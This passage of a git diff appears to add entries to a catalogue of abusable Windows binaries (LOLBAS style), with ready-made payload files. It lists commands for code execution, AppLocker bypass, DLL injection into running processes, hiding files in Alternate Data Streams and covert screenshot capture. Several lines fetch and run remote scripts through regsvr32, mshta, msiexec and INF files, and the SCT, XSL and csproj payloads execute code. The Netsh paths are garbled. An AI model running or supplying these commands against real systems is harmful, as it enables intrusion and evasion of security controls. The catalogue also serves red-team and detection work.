+  - https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Infdefaultinstall.yml

@@ -0,0 +1,20 @@
+---
+Name: InfDefaultInstall.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: InfDefaultInstall.exe Infdefaultinstall.inf
+    Description: 'Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.'
+Full Path:
+  - c:\windows\system32\Infdefaultinstall.exe
+  - c:\windows\sysWOW64\Infdefaultinstall.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/KyleHanslovan/status/911997635455852544
+  - https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
+  - https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/
+Notes: Thanks to Kyle Hanslovan - @kylehanslovan
+

OSBinaries/Installutil.yml

@@ -0,0 +1,25 @@
+---
+Name: InstallUtil.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
+    Description: 'Execute the target .NET DLL or EXE.'
+Full Path:
+  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
+  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
+  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
+  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
+  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
+  - http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md
+  - https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Makecab.yml

@@ -0,0 +1,22 @@
+---
+Name: Makecab.exe
+Description: Package, Add ADS, Download
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
+    Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
+  - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
+    Description: Compresses the target file and stores it in the target file.
+  - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
+    Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
+Full Path:
+  - c:\windows\system32\makecab.exe
+  - c:\windows\sysWOW64\makecab.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Mavinject.yml

@@ -0,0 +1,22 @@
+---
+Name: Mavinject.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
+    Description: Inject evil.dll into a process with PID 3110.
+  - Command: Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"
+    Description: Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172.
+Full Path:
+  - C:\Windows\System32\mavinject.exe
+  - C:\Windows\SysWOW64\mavinject.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/gN3mes1s/status/941315826107510784
+  - https://twitter.com/Hexcorn/status/776122138063409152
+  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Notes: Thanks to Giuseppe N3mes1s - @gN3mes1s, Adam - @hexacorn, Oddvar Moe - @oddvarmoe
+

OSBinaries/Msbuild.yml

@@ -0,0 +1,27 @@
+---
+Name: Msbuild.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: msbuild.exe pshell.xml
+    Description: Build and execute a C# project stored in the target XML file.
+  - Command: msbuild.exe Msbuild.csproj
+    Description: Build and execute a C# project stored in the target CSPROJ file.
+Full Path:
+  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
+  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
+  - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
+  - C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
+  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
+  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md
+  - https://github.com/Cn33liz/MSBuildShell
+  - https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Notes: Thanks to Casey Smith - @subtee, Cn33liz - @Cneelis
+

OSBinaries/Msconfig.yml

@@ -0,0 +1,19 @@
+---
+Name: Msconfig.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Msconfig.exe -5
+    Description: Executes command embeded in crafted c:\windows\system32\mscfgtlc.xml.
+Full Path:
+  - c:\windows\system32\msconfig.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/991314564896690177
+Notes: |
+    Thanks to Pierre-Alexandre Braeken - @pabraeken
+    See the Payloads folder for an example mscfgtlc.xml file.
+

OSBinaries/Msdt.yml

@@ -0,0 +1,25 @@
+---
+Name: Msdt.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Open .diagcab package
+    Description: ''
+  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml
+      /skip TRUE
+    Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
+Full Path:
+  - 'C:\Windows\System32\Msdt.exe    '
+  - 'C:\Windows\SysWOW64\Msdt.exe    '
+Code Sample: []
+Detection: []
+Resources:
+  - https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
+  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+  - https://twitter.com/harr0ey/status/991338229952598016
+Notes: |
+    Thanks to:
+    See the Payloads folder for an example PCW8E57.xml file.
+

OSBinaries/Mshta.yml

@@ -0,0 +1,28 @@
+---
+Name: mshta.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: mshta.exe evilfile.hta
+    Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
+  - Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
+    Description: Executes VBScript supplied as a command line argument.
+  - Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
+    Description: Executes JavaScript supplied as a command line argument.
+  - Command: mshta.exe "C:\ads\file.txt:file.hta"
+    Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
+Full Path:
+  - C:\Windows\System32\mshta.exe
+  - C:\Windows\SysWOW64\mshta.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
+  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
+  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe
+

OSBinaries/Msiexec.yml

@@ -0,0 +1,25 @@
+---
+Name: Msiexec.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: msiexec /quiet /i cmd.msi
+    Description: Installs the target .MSI file silently.
+  - Command: msiexec /q /i http://192.168.100.3/tmp/cmd.png
+    Description: Installs the target remote & renamed .MSI file silently.
+  - Command: msiexec /y "C:\folder\evil.dll"
+    Description: Calls DLLRegisterServer to register the target DLL.
+  - Command: msiexec /z "C:\folder\evil.dll"
+    Description: Calls DLLRegisterServer to un-register the target DLL.
+Full Path:
+  - c:\windows\system32\msiexec.exe
+  - c:\windows\sysWOW64\msiexec.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
+  - https://twitter.com/PhilipTsukerman/status/992021361106268161
+Notes: Thanks to ? - @netbiosX, PhilipTsukerman - @PhilipTsukerman
+

OSBinaries/Netsh.yml

@@ -0,0 +1,28 @@
+---
+Name: Netsh.exe
+Description: Execute, Surveillance
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: |
+          netsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\server\share\file.etl IPv4.Address=!(<IPofRemoteFileShare>)
+          netsh.exe trace show status
+    Description: Capture network traffic on remote file share.
+  - Command: netsh.exe add helper C:\Path\file.dll
+    Description: Load (execute) NetSh.exe helper DLL file.
+  - Command: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1
+    Description: Forward traffic from the listening address and proxy to a remote system.
+Full Path:
+  - C:\Windows\System32
+etsh.exe
+  - C:\Windows\SysWOW64
+etsh.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Persistence/Netsh_Helper_DLL.md
+  - https://attack.mitre.org/wiki/Technique/T1128
+  - https://twitter.com/teemuluotio/status/990532938952527873
+Notes: ''
+

OSBinaries/Nltest.yml

@@ -0,0 +1,17 @@
+---
+Name: Nltest.exe
+Description: Credentials
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: nltest.exe /SERVER:192.168.1.10 /QUERY
+    Description: ''
+Full Path:
+  - c:\windows\system32\nltest.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/sysopfb/status/986799053668139009
+  - https://ss64.com/nt/nltest.html
+Notes: Thanks to Sysopfb - @sysopfb

OSBinaries/Odbcconf.yml

@@ -0,0 +1,22 @@
+---
+Name: odbcconf.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: odbcconf -f file.rsp
+    Description: Load DLL specified in target .RSP file.
+Full Path:
+  - 'c:\windows\system32\odbcconf.exe    '
+  - c:\windows\sysWOW64\odbcconf.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
+  - https://github.com/woanware/application-restriction-bypasses
+  - https://twitter.com/subTee/status/789459826367606784
+Notes: |
+    Thanks to Casey Smith - @subtee, Nick Tyrer - @NickTyrer
+    See the Playloads folder for an example .RSP file.
+

OSBinaries/Openwith.yml

@@ -0,0 +1,20 @@
+---
+Name: Openwith.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: OpenWith.exe /c C:\test.hta
+    Description: Opens the target file with the default application.
+  - Command: OpenWith.exe /c C:\testing.msi
+    Description: Opens the target file with the default application.
+Full Path:
+  - c:\windows\system32\Openwith.exe
+  - c:\windows\sysWOW64\Openwith.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/harr0ey/status/991670870384021504
+Notes: Thanks to Matt harr0ey - @harr0ey
+

OSBinaries/Payload/Cmstp.inf

@@ -0,0 +1,14 @@
+[version]
+Signature=$chicago$
+AdvancedINF=2.5
+
+[DefaultInstall_SingleUser]
+UnRegisterOCXs=UnRegisterOCXSection
+
+[UnRegisterOCXSection]
+%11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp_calc.sct
+
+[Strings]
+AppAct = "SOFTWARE\Microsoft\Connection Manager"
+ServiceName="Yay"
+ShortSvcName="Yay"

OSBinaries/Payload/Cmstp_calc.sct

@@ -0,0 +1,23 @@
+<?XML version="1.0"?>
+<scriptlet>
+<registration 
+    progid="PoC"
+    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
+	<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
+
+	<!-- .sct files when downloaded, are executed from a path like this -->
+	<!-- Please Note, file extenstion does not matter -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+  	<!-- You can either execute locally, or from a url -->
+	<script language="JScript">
+		<![CDATA[
+	    		// calc.exe should launch, this could be any arbitrary code.
+      	   		// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
+	
+		]]>
+</script>
+</registration>
+</scriptlet>

OSBinaries/Payload/Evil.xbap

@@ -0,0 +1,8 @@
+private void Button_click(object sender, RoutedEventArgs e)
+{
+	if (RadioButton1.IsChecked == true)
+	{
+		Process.Start("C:\\poc\\evil.exe");
+		MessageBox.Show("BHello.");
+	}
+}

OSBinaries/Payload/Infdefaultinstall.inf

@@ -0,0 +1,8 @@
+[Version] 
+Signature=$CHICAGO$
+
+[DefaultInstall]
+UnregisterDlls = Squiblydoo
+
+[Squiblydoo]
+11,,scrobj.dll,2,60,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Infdefaultinstall_calc.sct

OSBinaries/Payload/Infdefaultinstall_calc.sct

@@ -0,0 +1,16 @@
+<?XML version="1.0"?>
+<scriptlet>
+<registration 
+    progid="PoC"
+    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
+	<!-- Proof Of Concept - Casey Smith @subTee -->
+	<!--  License: BSD3-Clause -->
+	<script language="JScript">
+		<![CDATA[
+	
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+	
+		]]>
+</script>
+</registration>
+</scriptlet>

OSBinaries/Payload/Msbuild.csproj

@@ -0,0 +1,47 @@
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!-- This inline task executes c# code. -->
+  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildBypass.csproj -->
+  <!-- Feel free to use a more aggressive class for testing. -->
+  <Target Name="Hello">
+   <FragmentExample />
+   <ClassExample />
+  </Target>
+  <UsingTask
+    TaskName="FragmentExample"
+    TaskFactory="CodeTaskFactory"
+    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
+    <ParameterGroup/>
+    <Task>
+      <Using Namespace="System" />  
+      <Code Type="Fragment" Language="cs">
+        <![CDATA[
+			    Console.WriteLine("Hello From a Code Fragment");		
+        ]]>
+      </Code>
+    </Task>
+	</UsingTask>
+	<UsingTask
+    TaskName="ClassExample"
+    TaskFactory="CodeTaskFactory"
+    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
+	<Task>
+	<!-- <Reference Include="System.IO" /> Example Include -->		
+      <Code Type="Class" Language="cs">
+        <![CDATA[
+			using System;
+			using Microsoft.Build.Framework;
+			using Microsoft.Build.Utilities;
+				
+			public class ClassExample :  Task, ITask
+			{
+				public override bool Execute()
+				{
+					Console.WriteLine("Hello From a Class.");
+					return true;
+				}
+			}
+        ]]>
+      </Code>
+    </Task>
+  </UsingTask>
+</Project>

OSBinaries/Payload/Mshta_calc.sct

@@ -0,0 +1,43 @@
+<?XML version="1.0"?>
+<scriptlet>
+
+<registration
+    description="Bandit"
+    progid="Bandit"
+    version="1.00"
+    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
+	>
+
+	<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+	<!-- DFIR -->
+	<!--		.sct files are downloaded and executed from a path like this -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+
+
+	<!-- Proof Of Concept - Casey Smith @subTee -->
+	<script language="JScript">
+		<![CDATA[
+
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+
+		]]>
+	</script>
+</registration>
+
+<public>
+    <method name="Exec"></method>
+</public>
+<script language="JScript">
+<![CDATA[
+
+	function Exec()
+	{
+		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+	}
+
+]]>
+</script>
+
+</scriptlet>

OSBinaries/Payload/PCW8E57.xml

@@ -0,0 +1,13 @@
+
+<?xml version="1.0" encoding="utf-16"?>
+<Answers Version="1.0">
+	<Interaction ID="IT_LaunchMethod">
+		<Value>ContextMenu</Value>
+	</Interaction>
+	<Interaction ID="IT_SelectProgram">
+		<Value>NotListed</Value>
+	</Interaction>
+	<Interaction ID="IT_BrowseForFile">
+		<Value>C:\Windows\assembly\Exec-Execute.msi</Value>
+	</Interaction>
+</Answers>

OSBinaries/Payload/Regsvr32_calc.sct

@@ -0,0 +1,23 @@
+<?XML version="1.0"?>
+<scriptlet>
+<registration 
+    progid="PoC"
+    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
+	<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
+
+	<!-- .sct files when downloaded, are executed from a path like this -->
+	<!-- Please Note, file extenstion does not matter -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+  	<!-- You can either execute locally, or from a url -->
+	<script language="JScript">
+		<![CDATA[
+	    		// calc.exe should launch, this could be any arbitrary code.
+      	   		// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
+	
+		]]>
+</script>
+</registration>
+</scriptlet>

OSBinaries/Payload/Wmic_calc.xsl

@@ -0,0 +1,11 @@
+<?xml version='1.0'?>
+<stylesheet
+xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
+xmlns:user="placeholder"
+version="1.0">
+<output method="text"/>
+	<ms:script implements-prefix="user" language="JScript">
+	<![CDATA[
+	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+	]]> </ms:script>
+</stylesheet>

OSBinaries/Payload/file.rsp

@@ -0,0 +1 @@
+REGSVR evil.dll

OSBinaries/Payload/mscfgtlc.xml

@@ -0,0 +1,4 @@
+<?xml version="1.0" ?>
+<MSCONFIGTOOLS>
+<a NAME="LOLBin" PATH="%windir%\System32\WindowsPowerShell\v1.0\powershell.exe" DEFAULT_OPT="-nop -sta -enc -w 1 <BASE64ENCCOMMAND>" ADV_OPT="-command calc.exe" HELP="LOLBin MSCONFIGTOOLS"/>
+</MSCONFIGTOOLS>

OSBinaries/Pcalua.yml

@@ -0,0 +1,24 @@
+---
+Name: Pcalua.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: pcalua.exe -a calc.exe
+    Description: Open the target .EXE using the Program Compatibility Assistant.
+  - Command: pcalua.exe -a \\server\payload.dll
+    Description: Open the target .DLL file with the Program Compatibilty Assistant.
+  - Command: pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
+    Description: Open the target .CPL file with the Program Compatibility Assistant.
+Full Path:
+  - c:\windows\system32\pcalua.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/KyleHanslovan/status/912659279806640128
+Notes: |
+    Thanks to:
+    fab - @0rbz_
+    Kyle Hanslovan - @KyleHanslovan
+

OSBinaries/Pcwrun.yml

@@ -0,0 +1,17 @@
+---
+Name: Pcwrun.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Pcwrun.exe c:\temp\beacon.exe
+    Description: Open the target .EXE file with the Program Compatibility Wizard.
+Full Path:
+  - c:\windows\system32\pcwrun.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/991335019833708544
+Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken
+

OSBinaries/Powershell.yml

@@ -0,0 +1,18 @@
+---
+Name: Powershell.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: powershell -ep bypass - < c:\temp:ttt
+    Description: Execute the encoded PowerShell command stored in an Alternate Data Stream (ADS).
+Full Path:
+  - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
+  - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/Moriarty_Meng/status/984380793383370752
+Notes: Thanks to Moriarty - @Moriarty_Meng
+

OSBinaries/Presentationhost.yml

@@ -0,0 +1,19 @@
+---
+Name: PresentationHost.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Presentationhost.exe C:\temp\Evil.xbap
+    Description: Executes the target XAML Browser Application (XBAP) file.
+Full Path:
+  - 'c:\windows\system32\PresentationHost.exe     '
+  - 'c:\windows\sysWOW64\PresentationHost.exe    '
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
+  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Print.yml

@@ -0,0 +1,23 @@
+---
+Name: Print.exe
+Description: Download, Copy, Add ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
+    Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
+  - Command: print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
+    Description: Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
+  - Command: print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
+    Description: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
+Full Path:
+  - C:\Windows\System32\print.exe
+  - C:\Windows\SysWOW64\print.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/Oddvarmoe/status/985518877076541440
+  - https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Psr.yml

@@ -0,0 +1,22 @@
+---
+Name: Psr.exe
+Description: Surveillance
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: psr.exe /start /gui 0 /output c:\users\user\out.zip
+    Description: Capture screenshots of the desktop and save them in the target .ZIP file.
+  - Command: psr.exe /start /maxsc 100 /gui 0 /output c:\users\user\out.zip
+    Description: Capture a maximum of 100 screenshots of the desktop and save them in the target .ZIP file.
+  - Command: psr.exe /stop
+    Description: Stop the Problem Step Recorder.
+Full Path:
+  - C:\Windows\System32\Psr.exe
+  - C:\Windows\SysWOW64\Psr.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf
+Notes: 'Thanks to '
+

OSBinaries/Reg.yml

@@ -0,0 +1,18 @@
+---
+Name: reg.exe
+Description: Export Reg, Add ADS, Import Reg
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
+    Description: Export the target Registry key and save it to the specified .REG file.
+Full Path:
+  - c:\windows\system32\reg.exe
+  - c:\windows\sysWOW64\reg.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Regasm.yml

@@ -0,0 +1,25 @@
+---
+Name: Regasm.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: regasm.exe /U AllTheThingsx64.dll
+    Description: Loads the target .DLL file and executes the UnRegisterClass function.
+  - Command: regasm.exe AllTheThingsx64.dll
+    Description: Loads the target .DLL file and executes the RegisterClass function.
+Full Path:
+  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe
+  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe
+  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
+  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Regedit.yml

@@ -0,0 +1,20 @@
+---
+Name: regedit.exe
+Description: Write ADS, Read ADS, Import registry
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
+    Description: Export the target Registry key to the specified .REG file.
+  - Command: regedit C:\ads\file.txt:regfile.reg"
+    Description: Import the target .REG file into the Registry.
+Full Path:
+  - C:\Windows\System32\regedit.exe
+  - C:\Windows\SysWOW64\regedit.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Register-cimprovider.yml

@@ -0,0 +1,18 @@
+---
+Name: Register-cimprovider.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Register-cimprovider -path "C:\folder\evil.dll"
+    Description: Load the target .DLL.
+Full Path:
+  - c:\windows\system32\Register-cimprovider.exe
+  - c:\windows\sysWOW64\Register-cimprovider.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/PhilipTsukerman/status/992021361106268161
+Notes: Thanks to PhilipTsukerman - @PhilipTsukerman
+

OSBinaries/Regsvcs.yml

@@ -0,0 +1,23 @@
+---
+Name: Regsvcs.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: regsvcs.exe AllTheThingsx64.dll
+    Description: Loads the target .DLL file and executes the RegisterClass function.
+Full Path:
+  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe
+  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe
+  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
+  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Regsvr32.yml

@@ -0,0 +1,22 @@
+---
+Name: Regsvr32.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+    Description: Execute the specified remote .SCT script with scrobj.dll.
+  - Commands: regsvr32.exe /s /u /i:file.sct scrobj.dll
+    Description: Execute the specified local .SCT script with scrobj.dll.
+Full Path:
+  - C:\Windows\System32\regsvr32.exe
+  - C:\Windows\SysWOW64\regsvr32.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Replace.yml

@@ -0,0 +1,21 @@
+---
+Name: Replace.exe
+Description: Copy, Download
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: replace.exe C:\Source\File.cab C:\Destination /A
+    Description: Copy the specified file to the destination folder.
+  - Command: replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
+    Description: Copy the specified file to the destination folder.
+Full Path:
+  - C:\Windows\System32\replace.exe
